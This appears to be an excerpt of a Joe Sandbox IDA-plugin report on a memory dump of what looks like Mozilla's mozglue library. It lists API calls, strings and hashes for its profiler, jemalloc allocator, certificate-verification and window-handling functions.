String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 80cab2f1603236752da771720533564ea4728f6b1e23313718b5efad84df563e
Instruction ID: 28b714a35604eecdb46559d07da49697bafee4113c00a841ebaa50dcf5942b6b
Opcode Fuzzy Hash: 80cab2f1603236752da771720533564ea4728f6b1e23313718b5efad84df563e
Instruction Fuzzy Hash: DC221670904340DFEB00AF76CC4465AB7B5EF86348F954629E84A87F62EB30E944CB5B

Function 6C59B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59B845
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000), ref: 6C59B852
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59B884
InitializeConditionVariable.KERNEL32(?), ref: 6C59B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C59B9FD
GetCurrentThreadId.KERNEL32 ref: 6C59BA05
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000), ref: 6C59BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C59BA27
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59BA4B
free.MOZGLUE(?), ref: 6C59C9C7
free.MOZGLUE(?), ref: 6C59C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C59C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C59C7DA

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 2f85e44c714f635863d66fff718be0b806fdaed1be542a39310867f72b5605ae
Instruction ID: 16f3a268e151e41179dc36048c2265cc7c704970ea7491cf7ae7e883079fbcc7
Opcode Fuzzy Hash: 2f85e44c714f635863d66fff718be0b806fdaed1be542a39310867f72b5605ae
Instruction Fuzzy Hash: 6EA2AE71A083808FD725DF28C88079FB7E5BFC9314F554A2DE89997350EB70A949CB86

Function 6C566C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C566CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C566D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C566D26

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C566D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C566D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C566D73
free.MOZGLUE(00000000), ref: 6C566D80
CertGetNameStringW.CRYPT32 ref: 6C566DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C566DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C566DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C566DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C566E10
CryptMsgClose.CRYPT32(00000000), ref: 6C566E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C566E34
CreateFileW.KERNEL32 ref: 6C566EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C566F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C566F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C56709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C567103
free.MOZGLUE(00000000), ref: 6C567153
CloseHandle.KERNEL32(?), ref: 6C567176
__Init_thread_footer.LIBCMT ref: 6C567209
__Init_thread_footer.LIBCMT ref: 6C56723A
__Init_thread_footer.LIBCMT ref: 6C56726B
__Init_thread_footer.LIBCMT ref: 6C56729C
__Init_thread_footer.LIBCMT ref: 6C5672DC
__Init_thread_footer.LIBCMT ref: 6C56730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5673C2
VerSetConditionMask.NTDLL ref: 6C5673F3
VerSetConditionMask.NTDLL ref: 6C5673FF
VerSetConditionMask.NTDLL ref: 6C567406
VerSetConditionMask.NTDLL ref: 6C56740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C56741A
moz_xmalloc.MOZGLUE(?), ref: 6C56755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C567568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C567585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C567598
free.MOZGLUE(00000000), ref: 6C5675AC

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

Strings

(, xrefs: 6C56768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5672C8
wintrust.dll, xrefs: 6C5672CD
SHA256, xrefs: 6C566EC0

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 3bbf27ac316fc3115505e2d2330069270c7a786e97f6d6ab664fc46c1c7262e6
Instruction ID: 3ebc27afeb204c404130c4f335cfd67594afd028588fa8a709b150b858d03944
Opcode Fuzzy Hash: 3bbf27ac316fc3115505e2d2330069270c7a786e97f6d6ab664fc46c1c7262e6
Instruction Fuzzy Hash: 0A52D3B1A00314DBEB21DF65CC84BAA77B9EF89704F114599E808A7A50DB70BF84CF95

Function 6C586FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C587019
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C587061
EnterCriticalSection.KERNEL32(?), ref: 6C5871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C58721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C58723E
EnterCriticalSection.KERNEL32(?), ref: 6C58726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C58733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C58961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C589622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C589642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C58964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5896DB
AcquireSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C589747
GetSystemInfo.KERNEL32(?), ref: 6C589792
__Init_thread_footer.LIBCMT ref: 6C5897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5DE810,00000040), ref: 6C5897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7B8,00001388), ref: 6C589838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE744,00001388), ref: 6C58984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE784,00001388), ref: 6C589874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7DC,00001388), ref: 6C589895

Strings

<jemalloc>, xrefs: 6C589B33, 6C589BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5899D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C589933, 6C589A33, 6C589A4E
MOZ_CRASH(), xrefs: 6C589B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5899BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C589BF4
MALLOC_OPTIONS, xrefs: 6C5897CA
Compile-time page size does not divide the runtime one., xrefs: 6C589B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5899A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C589993

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d3e137b1e1a561aa508e60b2c1ef09cb3e377042d35eb955adcf11da540a22a1
Instruction ID: 518bf56840ab972d881998351bec842bbb7ea58f66a9f714994cc62717175bd0
Opcode Fuzzy Hash: d3e137b1e1a561aa508e60b2c1ef09cb3e377042d35eb955adcf11da540a22a1
Instruction Fuzzy Hash: 32537D71A067118FD704CF29C980615FBE1FF8A728F29C6ADE8698B791D771E841CB81

Function 6C590DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C590F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C590F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C590FB7
EnterCriticalSection.KERNEL32(?), ref: 6C590FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C591031
LeaveCriticalSection.KERNEL32(?), ref: 6C5910D0
EnterCriticalSection.KERNEL32(?), ref: 6C59117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C591C39
EnterCriticalSection.KERNEL32(6C5DE744), ref: 6C593391
LeaveCriticalSection.KERNEL32(6C5DE744), ref: 6C5933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C593431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C593437

Strings

<jemalloc>, xrefs: 6C593941, 6C5939F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5937D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C593559, 6C59382D, 6C593848
MOZ_CRASH(), xrefs: 6C593950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5937BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C593A02
MALLOC_OPTIONS, xrefs: 6C5935FE
Compile-time page size does not divide the runtime one., xrefs: 6C593946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5937A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C593793

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: a670860c87b63ad77a190018e44eb5c67f0349c1afffda65e1c3bcd1ed7ffd1c
Instruction ID: 32ec1bca9f88728c47c78ce9c6256148410c68bc19e755a40e9118baa0521869
Opcode Fuzzy Hash: a670860c87b63ad77a190018e44eb5c67f0349c1afffda65e1c3bcd1ed7ffd1c
Instruction Fuzzy Hash: B2538C71A05791CFD704CF28C940616FBE2BF89328F29C6ADE8699B791D771E841CB81

Function 6C5B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C58E1A5), ref: 6C5B5606
LoadLibraryW.KERNEL32(gdi32,?,6C58E1A5), ref: 6C5B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C5B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C5B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C5B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C5B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C5B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C5B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C5B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C5B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C5B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C5B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C5B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5B57FF

Strings

LoadIconW, xrefs: 6C5B575B
FillRect, xrefs: 6C5B5729
LoadCursorW, xrefs: 6C5B5774
GetDpiForWindow, xrefs: 6C5B5690
GetSystemMetricsForDpi, xrefs: 6C5B5677
CreateWindowExW, xrefs: 6C5B56C5
EnableNonClientDpiScaling, xrefs: 6C5B5666
GetMonitorInfoW, xrefs: 6C5B57A2
ReleaseDC, xrefs: 6C5B5742
StretchDIBits, xrefs: 6C5B57CC
CreateSolidBrush, xrefs: 6C5B57E4
gdi32, xrefs: 6C5B560A
GetWindowDC, xrefs: 6C5B5710
RegisterClassW, xrefs: 6C5B56AC
SetWindowPos, xrefs: 6C5B56F7
DeleteObject, xrefs: 6C5B57F9
GetThreadDpiAwarenessContext, xrefs: 6C5B562D
ShowWindow, xrefs: 6C5B56DE
MonitorFromWindow, xrefs: 6C5B578D
SetWindowLongPtrW, xrefs: 6C5B57B7
AreDpiAwarenessContextsEqual, xrefs: 6C5B5637
user32, xrefs: 6C5B5601

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8691c6649b3167ff4c2c083a276d1cec7adfff49ad66998a070de3c354317989
Instruction ID: 9193d8ffc73f025b4aafd08743eeee8aec97a5e7e1b26374186eade198fbfa29
Opcode Fuzzy Hash: 8691c6649b3167ff4c2c083a276d1cec7adfff49ad66998a070de3c354317989
Instruction Fuzzy Hash: E85144707113039BDB04AF79CD54A263EF9EB0A6457724A29B911F3A42EF70E8008F6D

Function 6C5B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3EE2

Part of subcall function 6C5B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5B61DD
Part of subcall function 6C5B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C5B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B4157

Part of subcall function 6C5B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5B6250
Part of subcall function 6C5B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B4896
free.MOZGLUE ref: 6C5B489F

Strings

, xrefs: 6C5B4CD2

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 393f5198ae3334a07ee96d6281bada5c91f40aaf932de2fb0dfb8ba2d5e2db28
Instruction ID: 227d267a5922388bf09ad3514c4aaca5930cbb933db0a7a2f9caa109fe3c35b6
Opcode Fuzzy Hash: 393f5198ae3334a07ee96d6281bada5c91f40aaf932de2fb0dfb8ba2d5e2db28
Instruction Fuzzy Hash: 87F23B74908B808FC735CF28C49469AFBF1BFC9308F158A5ED99997711DB31A886CB46

Function 6C59F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C59F09B

Part of subcall function 6C575B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5756EE,?,00000001), ref: 6C575B85
Part of subcall function 6C575B50: EnterCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575B90
Part of subcall function 6C575B50: LeaveCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575BD8
Part of subcall function 6C575B50: GetTickCount64.KERNEL32 ref: 6C575BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C59F0AC

Part of subcall function 6C575C50: GetTickCount64.KERNEL32 ref: 6C575D40
Part of subcall function 6C575C50: EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C59F0BE

Part of subcall function 6C575C50: __aulldiv.LIBCMT ref: 6C575DB4
Part of subcall function 6C575C50: LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C575DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C59F155
GetCurrentThreadId.KERNEL32 ref: 6C59F1E0
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F1ED
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F212
GetCurrentThreadId.KERNEL32 ref: 6C59F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F248
GetCurrentThreadId.KERNEL32 ref: 6C59F2AE
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F2BB
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F2F8

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F350
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F35D
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F381
GetCurrentThreadId.KERNEL32 ref: 6C59F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F3A0
GetCurrentThreadId.KERNEL32 ref: 6C59F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F491

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F3CF

Part of subcall function 6C59F070: GetCurrentThreadId.KERNEL32 ref: 6C59F440
